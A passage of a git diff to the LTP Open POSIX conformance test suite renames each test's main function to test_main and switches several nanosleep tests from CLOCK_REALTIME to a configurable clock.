PTS_ATTRIBUTE_UNUSED) { int result; long page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/11-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/11-1.c index a684e355..5be91394 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/11-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/11-1.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; long page_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/7-1.c index bc4d335f..aac8315d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlock/7-1.c @@ -18,7 +18,7 @@ #define BUFSIZE 8 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; void *ptr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlockall/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlockall/5-1.c index 8f86c166..ee465fc3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlockall/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munlockall/5-1.c @@ -19,7 +19,7 @@ #if !defined(_POSIX_MEMLOCK) || _POSIX_MEMLOCK == -1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { printf("Does not support ML (Memory Lock).\n"); return PTS_UNSUPPORTED; @@ -28,7 +28,7 @@ int main(void) #else #if _POSIX_MEMLOCK != 0 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; @@ -50,7 +50,7 @@ int main(void) #else -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int result; long memlock; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-1.c index 9a17063c..997a1e0e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-1.c @@ -43,7 +43,7 @@ static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED) exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; long file_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-2.c index 31f2109a..10d7183f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/1-2.c @@ -43,7 +43,7 @@ static void sigsegv_handler(int signum PTS_ATTRIBUTE_UNUSED) exit(PTS_PASS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; long file_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/2-1.c index 1dfc4b2d..9cf78d23 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/2-1.c @@ -27,7 +27,7 @@ #define TNAME "munmap/2-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc, fd, map_size; void *map_addr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/3-1.c index 18797195..2bb16c3f 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/3-1.c @@ -30,7 +30,7 @@ #define TNAME "munmap/3-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; long file_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/4-1.c index 3c05ab04..dc517537 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/4-1.c @@ -36,7 +36,7 @@ #define TNAME "munmap/4-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/8-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/8-1.c index 15ba0dc6..720943d1 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/8-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/8-1.c @@ -27,7 +27,7 @@ #define TNAME "munmap/8-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc; void *pa; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/9-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/9-1.c index 371e3b0b..e5dcc1a0 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/9-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/munmap/9-1.c @@ -27,7 +27,7 @@ #define TNAME "munmap/9-1.c" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { char tmpfname[PATH_MAX]; long file_size; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-1.c index 687d01e2..9d390e32 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-1.c @@ -11,14 +11,16 @@ #include <stdio.h> #include <time.h> #include "posixtest.h" +#include "clock.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage, tsbefore, tsafter; int sleepnsec = 3; int slepts = 0, sleptns = 0; + clockid_t test_clock = pts_get_clock(); - if (clock_gettime(CLOCK_REALTIME, &tsbefore) == -1) { + if (clock_gettime(test_clock, &tsbefore) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } @@ -30,7 +32,7 @@ int main(void) return PTS_UNRESOLVED; } - if (clock_gettime(CLOCK_REALTIME, &tsafter) == -1) { + if (clock_gettime(test_clock, &tsafter) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-2.c index 76f31982..0d608d51 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-2.c @@ -14,14 +14,16 @@ #include <unistd.h> #include <sys/wait.h> #include "posixtest.h" +#include "clock.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage, tsbefore, tsafter; int sleepsec = 30; int pid; + clockid_t test_clock = pts_get_clock(); - if (clock_gettime(CLOCK_REALTIME, &tsbefore) == -1) { + if (clock_gettime(test_clock, &tsbefore) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } @@ -46,7 +48,7 @@ int main(void) perror("Error waiting for child to exit\n"); return PTS_UNRESOLVED; } - if (clock_gettime(CLOCK_REALTIME, &tsafter) == -1) { + if (clock_gettime(test_clock, &tsafter) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-3.c index 31ac0085..a7ee7e02 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/1-3.c @@ -15,20 +15,22 @@ #include <unistd.h> #include <sys/wait.h> #include "posixtest.h" +#include "clock.h" static void handler(int signo PTS_ATTRIBUTE_UNUSED) { printf("In handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage, tsbefore, tsafter; int sleepsec = 30; int pid; struct sigaction act; + clockid_t test_clock = pts_get_clock(); - if (clock_gettime(CLOCK_REALTIME, &tsbefore) == -1) { + if (clock_gettime(test_clock, &tsbefore) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } @@ -64,7 +66,7 @@ int main(void) perror("Error waiting for child to exit\n"); return PTS_UNRESOLVED; } - if (clock_gettime(CLOCK_REALTIME, &tsafter) == -1) { + if (clock_gettime(test_clock, &tsafter) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/10000-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/10000-1.c index 883885df..36cf5b90 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/10000-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/10000-1.c @@ -18,6 +18,7 @@ #include <time.h> #include <errno.h> #include "posixtest.h" +#include "clock.h" #define NUMVALID 6 #define NUMINVALID 7 @@ -44,25 +45,26 @@ static int sleepinvalid[NUMINVALID][2] = { {-1, -1}, {0, -1}, {0, 1075002478} }; -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage, tsbefore, tsafter; int i; int failure = 0; int slepts = 0, sleptns = 0; + clockid_t test_clock = pts_get_clock(); for (i = 0; i < NUMVALID; i++) { tssleepfor.tv_sec = sleepvalid[i][0]; tssleepfor.tv_nsec = sleepvalid[i][1]; printf("sleep %d sec %d nsec\n", (int)tssleepfor.tv_sec, (int)tssleepfor.tv_nsec); - if (clock_gettime(CLOCK_REALTIME, &tsbefore) == -1) { + if (clock_gettime(test_clock, &tsbefore) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } if (nanosleep(&tssleepfor, &tsstorage) == 0) { - if (clock_gettime(CLOCK_REALTIME, &tsafter) == -1) { + if (clock_gettime(test_clock, &tsafter) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/2-1.c index cce3941e..82cf2750 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/2-1.c @@ -12,9 +12,10 @@ #include <stdio.h> #include <time.h> #include "posixtest.h" +#include "clock.h" #define NUMINTERVALS 13 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage, tsbefore, tsafter; int sleepnsec[NUMINTERVALS] = { 1, 2, 10, 100, 1000, 10000, 1000000, @@ -24,8 +25,9 @@ int main(void) int i; int failure = 0; int slepts, sleptns; + clockid_t test_clock = pts_get_clock(); - if (clock_gettime(CLOCK_REALTIME, &tsbefore) == -1) { + if (clock_gettime(test_clock, &tsbefore) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } @@ -38,7 +40,7 @@ int main(void) return PTS_UNRESOLVED; } - if (clock_gettime(CLOCK_REALTIME, &tsafter) == -1) { + if (clock_gettime(test_clock, &tsafter) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-1.c index bc6f7fba..cbb4cbb5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-1.c @@ -28,7 +28,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) exit(CHILDSUCCESS); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage; int sleepsec = 30; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-2.c index bfc271ed..8f366d9d 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/3-2.c @@ -15,18 +15,20 @@ #include <sys/wait.h> #include <stdlib.h> #include "posixtest.h" +#include "clock.h" #define SLEEPSEC 5 #define CHILDPASS 0 //if interrupted, child will return 0 #define CHILDFAIL 1 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int pid, slepts; struct timespec tsbefore, tsafter; + clockid_t test_clock = pts_get_clock(); - if (clock_gettime(CLOCK_REALTIME, &tsbefore) != 0) { + if (clock_gettime(test_clock, &tsbefore) != 0) { perror("clock_gettime() did not return success\n"); return PTS_UNRESOLVED; } @@ -74,7 +76,7 @@ int main(void) return PTS_FAIL; } - if (clock_gettime(CLOCK_REALTIME, &tsafter) == -1) { + if (clock_gettime(test_clock, &tsafter) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/5-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/5-1.c index f26e7f5f..ca64a6d3 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/5-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/5-1.c @@ -12,7 +12,7 @@ #include <time.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage; int sleepnsec = -1; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/5-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/5-2.c index ecb8bd82..633bb48a 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/5-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/5-2.c @@ -24,7 +24,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("In handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage; int sleepsec = 30; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/6-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/6-1.c index 398f5d52..4a9c2adf 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/6-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/6-1.c @@ -15,7 +15,7 @@ #define NUMTESTS 7 -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage; int sleepnsec[NUMTESTS] = { -1, -5, -1000000000, 1000000000, diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/7-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/7-1.c index e9c8ebe5..0f54eb2c 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/7-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/7-1.c @@ -25,7 +25,7 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("In handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage; int sleepsec = 30; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/7-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/7-2.c index caf4470e..59ca2d25 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/7-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/nanosleep/7-2.c @@ -16,6 +16,7 @@ #include <sys/wait.h> #include <stdlib.h> #include "posixtest.h" +#include "clock.h" #define CHILDSUCCESS 1 #define CHILDFAILURE 0 @@ -27,14 +28,15 @@ static void handler(int signo PTS_ATTRIBUTE_UNUSED) printf("In handler\n"); } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { struct timespec tssleepfor, tsstorage, tsbefore, tsafter; int sleepsec = 30; int pid; struct sigaction act; + clockid_t test_clock = pts_get_clock(); - if (clock_gettime(CLOCK_REALTIME, &tsbefore) == -1) { + if (clock_gettime(test_clock, &tsbefore) == -1) { perror("Error in clock_gettime()\n"); return PTS_UNRESOLVED; } @@ -60,7 +62,7 @@ int main(void) return CHILDFAILURE; } - if (clock_gettime(CLOCK_REALTIME, &tsafter) == -1) { + if (clock_gettime(test_clock, &tsafter) == -1) { perror("Error in clock_gettime()\n"); return CHILDFAILURE; } diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-1.c index f4f2dcfd..8050a1fd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-1.c @@ -56,7 +56,7 @@ static void child_handler() return; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-2.c index 6e89b8a0..99c31564 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/1-2.c @@ -173,7 +173,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-1.c index 8558b3e2..82fa9213 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-1.c @@ -26,7 +26,7 @@ #include <sys/types.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pid_t pid; int ret; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-2.c index a19b029b..4e9746cd 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/2-2.c @@ -198,7 +198,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t ch; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-2.c index e90a06a5..0258dc05 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-2.c @@ -159,7 +159,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret, i; pthread_t ch; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-3.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-3.c index 32b91872..bb981d6e 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-3.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/3-3.c @@ -197,7 +197,7 @@ static void *test(void *arg PTS_ATTRIBUTE_UNUSED) } /* Main function */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t th_work, th_sig1, th_sig2, me; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/4-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/4-1.c index 98a7d910..3fa737f6 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/4-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_atfork/4-1.c @@ -210,7 +210,7 @@ static void *threaded(void *arg PTS_ATTRIBUTE_UNUSED) } /* The main test function. */ -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int ret; pthread_t ch; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/1-1.c index a425d9fa..4b09eefa 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/1-1.c @@ -31,7 +31,7 @@ static void *a_thread_func() return NULL; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_t new_th; pthread_attr_t new_attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/2-1.c index 605f02e7..5fc93f73 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/2-1.c @@ -22,7 +22,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/3-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/3-1.c index d36e5f22..2bd9de66 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/3-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_destroy/3-1.c @@ -19,7 +19,7 @@ #include <errno.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/1-1.c index 503986d5..61759524 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/1-1.c @@ -20,7 +20,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; int detach_state; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/1-2.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/1-2.c index a4d09d12..cd3bc4a5 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/1-2.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getdetachstate/1-2.c @@ -24,7 +24,7 @@ #include <stdio.h> #include "posixtest.h" -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t new_attr; int detach_state; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/1-1.c index 78e843c8..3812696b 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getinheritsched/1-1.c @@ -53,7 +53,7 @@ static int verify_inheritsched(pthread_attr_t * attr, int schedtype) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/1-1.c index 82bf960d..7b7c9717 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedparam/1-1.c @@ -45,7 +45,7 @@ static int verify_param(pthread_attr_t * attr, int priority) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/2-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/2-1.c index 70818e29..c512c795 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/2-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getschedpolicy/2-1.c @@ -60,7 +60,7 @@ static int verify_policy(pthread_attr_t * attr, int policytype) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/1-1.c index 93116aa8..d967ad36 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getscope/1-1.c @@ -55,7 +55,7 @@ static int verify_scope(pthread_attr_t * attr, int scopetype) return 0; } -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { int rc = 0; pthread_attr_t attr; diff --git a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/1-1.c b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/1-1.c index b96a31e9..b560d798 100644 --- a/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/1-1.c +++ b/ltp/testcases/open_posix_testsuite/conformance/interfaces/pthread_attr_getstack/1-1.c @@ -27,7 +27,7 @@ #define FUNCTION "pthread_attr_getstack" #define ERROR_PREFIX "unexpected error: " FUNCTION " " TEST ": " -int main(void) +int test_main(int argc PTS_ATTRIBUTE_UNUSED, char **argv PTS_ATTRIBUTE_UNUSED) { pthread_attr_t attr; void *stack_addr; diff --git 